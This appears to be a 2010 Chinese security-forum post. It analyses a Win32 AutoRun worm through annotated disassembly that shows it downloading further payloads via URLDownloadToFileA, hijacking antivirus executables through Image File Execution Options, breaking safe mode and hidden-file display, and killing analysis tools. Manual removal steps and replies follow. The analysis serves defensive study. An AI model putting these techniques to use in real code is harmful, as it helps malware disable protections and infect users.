1000230B |. 8BF7 |mov esi, edi
1000230D |. 8BD9 |mov ebx, ecx
1000230F |. 8BFA |mov edi, edx
10002311 |. 83C9 FF |or ecx, FFFFFFFF
10002314 |. 8D55 C0 |lea edx, dword ptr [ebp-40]
10002317 |. F2:AE |repne scas byte ptr es:[edi]
10002319 |. 8BCB |mov ecx, ebx
1000231B |. 4F |dec edi
1000231C |. C1E9 02 |shr ecx, 2
1000231F |. F3:A5 |rep movs dword ptr es:[edi], dword >
10002321 |. 8BCB |mov ecx, ebx
10002323 |. 52 |push edx ; /ProcNameOrOrdinal
10002324 |. 83E1 03 |and ecx, 3 ; |
10002327 |. F3:A4 |rep movs byte ptr es:[edi], byte pt>; |
10002329 |. 8D7D F0 |lea edi, dword ptr [ebp-10] ; |
1000232C |. 83C9 FF |or ecx, FFFFFFFF ; |
1000232F |. F2:AE |repne scas byte ptr es:[edi] ; |
10002331 |. F7D1 |not ecx ; |
10002333 |. 2BF9 |sub edi, ecx ; |
10002335 |. 8BF7 |mov esi, edi ; |
10002337 |. 8BD9 |mov ebx, ecx ; |
10002339 |. 8BFA |mov edi, edx ; |
1000233B |. 83C9 FF |or ecx, FFFFFFFF ; |
1000233E |. F2:AE |repne scas byte ptr es:[edi] ; |
10002340 |. 8BCB |mov ecx, ebx ; |
10002342 |. 4F |dec edi ; |
10002343 |. C1E9 02 |shr ecx, 2 ; |
10002346 |. F3:A5 |rep movs dword ptr es:[edi], dword >; |
10002348 |. 8BCB |mov ecx, ebx ; |
1000234A |. 8B5D EC |mov ebx, dword ptr [ebp-14] ; |
1000234D |. 83E1 03 |and ecx, 3 ; |
10002350 |. 53 |push ebx ; |hModule
10002351 |. F3:A4 |rep movs byte ptr es:[edi], byte pt>; |
10002353 |. FF15 AC100010 |call dword ptr [100010AC] ; \GetProcAddress
10002359 A3 68340010 mov dword ptr [10003468], eax ; urlmon.URLDownloadToFileA
1000235E |. 8D85 F4FDFFFF |lea eax, dword ptr [ebp-20C]
10002364 |. 68 04010000 |push 104 ; /BufSize = 104 (260.)
10002369 |. 50 |push eax ; |Buffer
1000236A |. FF15 6C100010 |call dword ptr [1000106C] ; \GetWindowsDirectoryA
10002370 |. BF CC110010 |mov edi, 100011CC ; ASCII "\Fonts\isb.ini"，病毒下载列表
10002375 |. 83C9 FF |or ecx, FFFFFFFF
10002378 |. 33C0 |xor eax, eax
1000237A |. 8D95 F4FDFFFF |lea edx, dword ptr [ebp-20C]
10002380 |. F2:AE |repne scas byte ptr es:[edi]
10002382 |. F7D1 |not ecx
10002384 |. 2BF9 |sub edi, ecx
10002386 |. 8BF7 |mov esi, edi
10002388 |. 8BFA |mov edi, edx
1000238A |. 8BD1 |mov edx, ecx
1000238C |. 83C9 FF |or ecx, FFFFFFFF
1000238F |. F2:AE |repne scas byte ptr es:[edi]
10002391 |. 8BCA |mov ecx, edx
10002393 |. 4F |dec edi
10002394 |. C1E9 02 |shr ecx, 2
10002397 |. F3:A5 |rep movs dword ptr es:[edi], dword >
10002399 |. 8BCA |mov ecx, edx
1000239B |. 50 |push eax
1000239C |. 83E1 03 |and ecx, 3
1000239F |. 50 |push eax
100023A0 |. F3:A4 |rep movs byte ptr es:[edi], byte pt>
100023A2 |. 8D85 F4FDFFFF |lea eax, dword ptr [ebp-20C]
100023A8 |. 8D8D 5CFFFFFF |lea ecx, dword ptr [ebp-A4]
100023AE |. 50 |push eax
100023AF |. 51 |push ecx
100023B0 |. 6A 00 |push 0
100023B2 |. FF15 68340010 |call dword ptr [10003468]
100023B8 |. 53 |push ebx ; /hLibModule
100023B9 |. FF15 7C100010 |call dword ptr [1000107C] ; \FreeLibrary
100023BF |. 8B5D FC |mov ebx, dword ptr [ebp-4]
100023C2 |> 8D95 F4FDFFFF |lea edx, dword ptr [ebp-20C]
100023C8 |. 52 |push edx ; /FileName
100023C9 |. FF15 70100010 |call dword ptr [10001070] ; \GetFileAttributesA
100023CF |. 83F8 FF |cmp eax, -1
100023D2 |. 75 24 |jnz short 100023F8
100023D4 |. 83FB 0A |cmp ebx, 0A
100023D7 |. 0F84 A0000000 |je 1000247D
100023DD |. 43 |inc ebx
100023DE |. 83FB 0C |cmp ebx, 0C
100023E1 |. 895D FC |mov dword ptr [ebp-4], ebx
100023E4 |.^ 0F8C 39FEFFFF \jl 10002223
100023EA |. 5F pop edi
100023EB |. 5E pop esi
100023EC |. B8 01000000 mov eax, 1
100023F1 |. 5B pop ebx
100023F2 |. 8BE5 mov esp, ebp
100023F4 |. 5D pop ebp
100023F5 |. C2 0400 retn 4
100023F8 |> 8D85 F4FDFFFF lea eax, dword ptr [ebp-20C]
100023FE |. 68 C8110010 push 100011C8
10002403 |. 50 push eax
10002404 |. E8 47100000 call 10003450
10002409 |. 8BF0 mov esi, eax
1000240B |. 83C4 08 add esp, 8
1000240E |. 85F6 test esi, esi
10002410 |. 75 22 jnz short 10002434
10002412 |. 50 push eax ; /Style
10002413 |. 68 C0110010 push 100011C0 ; |Title = "fuck"
10002418 |. 68 BC110010 push 100011BC ; |Text = "net"
1000241D |. 6A FF push -1 ; |hOwner = FFFFFFFF
1000241F |. FF15 E0100010 call dword ptr [100010E0] ; \MessageBoxA
10002425 |. 68 B8110010 push 100011B8 ; ASCII "51"
1000242A |. E8 1B100000 call 1000344A
1000242F |. 83C4 04 add esp, 4
10002432 |. EB 40 jmp short 10002474
10002434 |> 8D8D 2CFDFFFF lea ecx, dword ptr [ebp-2D4]
1000243A |. 51 push ecx
1000243B |. 68 B4110010 push 100011B4 ; ASCII "%s",LF
10002440 |. 56 push esi
10002441 |. E8 FE0F0000 call 10003444
10002446 |. 83C4 0C add esp, 0C
10002449 |. 83F8 01 cmp eax, 1
1000244C |. 75 26 jnz short 10002474
1000244E |> 8D95 2CFDFFFF /lea edx, dword ptr [ebp-2D4]
10002454 |. 52 |push edx
10002455 |. E8 36FCFFFF |call 10002090
1000245A |. 8D85 2CFDFFFF |lea eax, dword ptr [ebp-2D4]
10002460 |. 50 |push eax
10002461 |. 68 B4110010 |push 100011B4 ; ASCII "%s",LF
10002466 |. 56 |push esi
10002467 |. E8 D80F0000 |call 10003444
1000246C |. 83C4 10 |add esp, 10
1000246F |. 83F8 01 |cmp eax, 1
10002472 |.^ 74 DA \je short 1000244E
10002474 |> 56 push esi
10002475 |. E8 C40F0000 call 1000343E
1000247A |. 83C4 04 add esp, 4
1000247D |> 5F pop edi
1000247E |. 5E pop esi
1000247F |. B8 01000000 mov eax, 1
10002484 |. 5B pop ebx
10002485 |. 8BE5 mov esp, ebp
10002487 |. 5D pop ebp
10002488 \. C2 0400 retn 4

}
10002562 6A 00 push 0
10002564 6A 00 push 0
10002566 FFD6 call esi
10002568 6A 00 push 0
1000256A 6A 00 push 0
1000256C 6A 00 push 0
1000256E 68 102D0010 push 10002D10
{
10002D10 56 push esi ; kernel32.Sleep
10002D11 8B35 94100010 mov esi, dword ptr [10001094] ; kernel32.Sleep
10002D17 68 401F0000 push 1F40
10002D1C FFD6 call esi
10002D1E E8 CDFCFFFF call 100029F0 ;创建安全软件的镜像劫持
"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options"
{
100029F0 68 04190010 push 10001904 ; ASCII "360rpt.EXE"
100029F5 E8 D6FDFFFF call 100027D0 
"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options"
100029FA 68 F0180010 push 100018F0 ; ASCII "LiveUpdate360.EXE"
100029FF E8 CCFDFFFF call 100027D0
10002A04 68 E4180010 push 100018E4 ; ASCII "360safe.EXE"
10002A09 E8 C2FDFFFF call 100027D0
10002A0E 68 D8180010 push 100018D8 ; ASCII "360tray.EXE"
10002A13 E8 B8FDFFFF call 100027D0
10002A18 68 C8180010 push 100018C8 ; ASCII "360safebox.EXE"
10002A1D E8 AEFDFFFF call 100027D0
10002A22 68 B8180010 push 100018B8 ; ASCII "safeboxTray.EXE"
10002A27 E8 A4FDFFFF call 100027D0
10002A2C 68 A8180010 push 100018A8 ; ASCII "AvMonitor.EXE"
10002A31 E8 9AFDFFFF call 100027D0
10002A36 68 98180010 push 10001898 ; ASCII "Ravservice.EXE"
10002A3B E8 90FDFFFF call 100027D0
10002A40 68 8C180010 push 1000188C ; ASCII "RAVTRAY.EXE"
.............................................................................................
10002A45 E8 86FDFFFF call 100027D0
10002CE0 68 48150010 push 10001548 ; ASCII "mcshield.EXE"
10002CE5 E8 E6FAFFFF call 100027D0
10002CEA 68 94150010 push 10001594 ; ASCII "VsTskMgr.EXE"
10002CEF E8 DCFAFFFF call 100027D0
10002CF4 68 38150010 push 10001538 ; ASCII "KSWebShield.EXE"
10002CF9 E8 D2FAFFFF call 100027D0
10002CFE 83C4 34 add esp, 34
10002D01 C3 retn

}
10002D23 E8 E8FBFFFF call 10002910
{
10002910 55 push ebp
10002911 8BEC mov ebp, esp
10002913 83EC 08 sub esp, 8
10002916 C745 F8 0200000>mov dword ptr [ebp-8], 2
1000291D 90 nop
1000291E 90 nop
1000291F 90 nop
10002920 90 nop
10002921 90 nop
10002922 90 nop
10002923 8D45 FC lea eax, dword ptr [ebp-4]
10002926 50 push eax
10002927 68 3F000F00 push 0F003F
1000292C 6A 00 push 0
1000292E 68 98140010 push 10001498 ; ASCII
；"SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\advanced\folder\hidden\showall"
；修改注册表使隐藏文件属性失效，删除注册表相关键值破坏安全模式，阻止用户进入安全模式
10002933 68 02000080 push 80000002
10002938 FF15 04100010 call dword ptr [10001004] ; ADVAPI32.RegOpenKeyExA
1000293E 85C0 test eax, eax
10002940 75 39 jnz short 1000297B
10002942 8B55 FC mov edx, dword ptr [ebp-4]
10002945 8D4D F8 lea ecx, dword ptr [ebp-8]
10002948 6A 04 push 4
1000294A 51 push ecx
1000294B 6A 04 push 4
1000294D 50 push eax
1000294E 68 88140010 push 10001488 ; ASCII "CheckedValue"
10002953 52 push edx
10002954 FF15 0C100010 call dword ptr [1000100C] ; ADVAPI32.RegSetValueExA
1000295A 85C0 test eax, eax
1000295C 74 13 je short 10002971
1000295E 8B45 FC mov eax, dword ptr [ebp-4]
10002961 50 push eax
10002962 FF15 1C100010 call dword ptr [1000101C] ; ADVAPI32.RegCloseKey
10002968 B8 01000000 mov eax, 1
1000296D 8BE5 mov esp, ebp
1000296F 5D pop ebp
10002970 C3 retn

}
10002D28 E8 63FCFFFF call 10002990
{
10002990 E8 6BFCFFFF call 10002600 ；阻止进入安全模式
10002995 E8 A6FDFFFF call 10002740 ；阻止网络连接安全模式
1000299A 68 2C150010 push 1000152C ; ASCII "360Safetray"
1000299F E8 FCFCFFFF call 100026A0 ；删除安全软件自启动项
100029A4 68 20150010 push 10001520 ; ASCII "360Safebox"
100029A9 E8 F2FCFFFF call 100026A0
100029AE 68 14150010 push 10001514 ; ASCII "KavStart"
100029B3 E8 E8FCFFFF call 100026A0
100029B8 68 0C150010 push 1000150C ; ASCII "vptray"
100029BD E8 DEFCFFFF call 100026A0
100029C2 68 04150010 push 10001504 ; ASCII "ccApp"
100029C7 E8 D4FCFFFF call 100026A0
100029CC 68 FC140010 push 100014FC ; ASCII "RavTray"
100029D1 E8 CAFCFFFF call 100026A0
100029D6 68 F4140010 push 100014F4 ; ASCII "egui"
100029DB E8 C0FCFFFF call 100026A0
100029E0 68 EC140010 push 100014EC ; ASCII "essact"
100029E5 E8 B6FCFFFF call 100026A0
100029EA 83C4 20 add esp, 20
100029ED C3 retn

}
10002D2D ^ EB E8 jmp short 10002D17
10002D2F 90 nop
10002D30 81EC 28020000 sub esp, 228
10002D36 56 push esi
10002D37 8BB424 30020000 mov esi, dword ptr [esp+230]
10002D3E 57 push edi
10002D3F 56 push esi
10002D40 6A 01 push 1
10002D42 68 FF0F1F00 push 1F0FFF
10002D47 FF15 5C100010 call dword ptr [1000105C] ; kernel32.OpenProcess
10002D4D 56 push esi
10002D4E 6A 08 push 8
10002D50 8BF8 mov edi, eax
10002D52 E8 D5060000 call 1000342C ; jmp 到 kernel32.CreateToolhelp32Snapshot
10002D57 8BF0 mov esi, eax
10002D59 83FE FF cmp esi, -1
10002D5C 75 0B jnz short 10002D69
10002D5E 5F pop edi
10002D5F 33C0 xor eax, eax
10002D61 5E pop esi
10002D62 81C4 28020000 add esp, 228
10002D68 C3 retn
10002D69 8D4424 0C lea eax, dword ptr [esp+C]
10002D6D C74424 0C 24020>mov dword ptr [esp+C], 224
10002D75 50 push eax
10002D76 56 push esi
10002D77 E8 BC060000 call 10003438 ; jmp 到 kernel32.Module32First
10002D7C 85C0 test eax, eax
10002D7E 75 12 jnz short 10002D92
10002D80 56 push esi
10002D81 FF15 48100010 call dword ptr [10001048] ; kernel32.CloseHandle
10002D87 5F pop edi
10002D88 33C0 xor eax, eax
10002D8A 5E pop esi
10002D8B 81C4 28020000 add esp, 228
10002D91 C3 retn

}
10002573 6A 00 push 0
10002575 6A 00 push 0
10002577 FFD6 call esi
10002579 6A 00 push 0
1000257B 6A 00 push 0
1000257D 6A 00 push 0
1000257F 68 C0250010 push 100025C0
{

100025C0 56 push esi ; kernel32.CreateThread
100025C1 8B35 94100010 mov esi, dword ptr [10001094] ; kernel32.Sleep
100025C7 68 34120010 push 10001234 ; ASCII "IceSword"
100025CC 68 AC340010 push 100034AC
100025D1 68 20120010 push 10001220 ; ASCII "AfxControlBar42s"
100025D6 E8 B5FEFFFF call 10002490 ；查找窗口发送消息结束兵刃
100025DB 83C4 0C add esp, 0C
100025DE 68 70170000 push 1770
100025E3 FFD6 call esi
100025E5 ^ EB E0 jmp short 100025C7


}
10002584 6A 00 push 0
10002586 6A 00 push 0
10002588 FFD6 call esi
1000258A 5E pop esi
1000258B B8 01000000 mov eax, 1
10002590 5D pop ebp
10002591 C2 0C00 retn 0C

手动解决方案：

1、手动删除以下文件：

%temp%\dll2.Tmp

%SystemRoot%system32\isb.Ini

X:\GRIL.PIF

X:\AutoRun.inf
(X：为任意盘符)

2、手动替换一下文件：

%SystemRoot%\system32\dllcache\linkinfo.Dll替换%SystemRoot%\system32\linkinfo.Dll

3、手动删除以下注册表值：

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\[安全软件]

4、手动修改以下注册表：

键：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL
　　值：CheckedValue
　　数据：1

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\[安全软件]

样本： Win32AutoRun.Agent.rar (29.56 KB, 下载次数: 121)

Hmily · 发表于 2010-1-25 13:21

用的字体看的好晕啊，直接用原版字体应该会好点，代码用上引用框或者代码框，会使文章显得很好看，感谢发布原创分析教程，加精鼓励。最好将样本也上传上来，方便后人学习交流。

沧海一粟 · 发表于 2010-1-25 13:29

用的字体看的好晕啊，直接用原版字体应该会好点，代码用上引用框或者代码框，会使文章显得很好看，感谢发布 ...
Hmily 发表于 2010-1-25 13:21

谢谢您呀，那我修改一下，并把样本传上去

Hmily · 发表于 2010-1-25 13:59

回复 3# 沧海一粟

好的，直接从文章里复制好像效果还是不好，当时要是从OD里复制出来贴上来就好看了，就算不用代码框也会很好看。

沧海一粟 · 发表于 2010-1-25 14:08

好的，直接从文章里复制好像效果还是不好，当时要是从OD里复制出来贴上来就好看了，就 ...
Hmily 发表于 2010-1-25 13:59

嘿嘿，下次记得直接从OD中拷贝，谢谢您的指导，我会继续努力，多发些原创的

挂挂 · 发表于 2010-1-25 14:43

不错~~
:)eee

一击屠夫 · 发表于 2010-1-29 13:38

哦，来支持。

missviola · 发表于 2010-2-1 10:08

[s:235]下载分析学习下~~

goodms520 · 发表于 2010-2-17 11:40

看来这个地方学习气分不错。

dijun · 发表于 2010-5-7 13:31

不错分析的很好很准

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